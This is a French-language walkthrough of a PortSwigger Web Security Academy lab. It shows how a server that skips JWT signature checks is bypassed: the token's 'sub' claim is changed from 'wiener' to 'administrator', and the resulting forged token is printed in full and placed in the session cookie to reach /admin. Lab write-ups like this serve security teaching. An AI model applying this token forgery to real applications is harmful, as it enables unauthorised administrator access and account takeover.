Bypass d’authentification JWT via une signature non vérifiée

JWT authentication bypass via unverified signature

Lab: JWT authentication bypass via unverified signature | Web Security AcademyWebSecAcademy

Contexte du laboratoire

Ce laboratoire utilise des JSON Web Tokens (JWT) pour gérer les sessions utilisateur. À cause d’un défaut d’implémentation critique, le serveur ne vérifie pas la signature des JWT reçus.

Objectif :

• Modifier le token de session afin d’accéder au panneau d’administration /admin

• Supprimer l’utilisateur carlos

Identifiants fournis :

• wiener : peter

Étape 1 – Authentification et récupération du JWT

Après connexion avec l’utilisateur wiener, une cookie de session JWT est générée par l’application.

Le token a la structure classique :

• Header

• Payload

• Signature

eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6AUu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyAUbJaPZHOPJU-XLzHwIcg

Étape 2 – Analyse du contenu du JWT

En décodant le JWT, on observe le payload suivant :

JWT.IOJSON Web Tokens - jwt.io

{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "wiener"
}

Le champ sub représente l’identité de l’utilisateur authentifié.

Étape 3 – Modification du payload

Puisque le serveur ne valide pas la signature, il est possible de modifier librement le contenu du token.

On remplace la valeur de sub :

{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "administrator"
}

Le JWT est ensuite reconstruit (peu importe la signature, elle ne sera pas vérifiée).

eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw

Étape 4 – Utilisation du JWT falsifié

Le nouveau token est injecté dans la cookie de session du navigateur.

Résultat :

• L’application considère l’utilisateur comme administrator

• L’accès à /admin est autorisé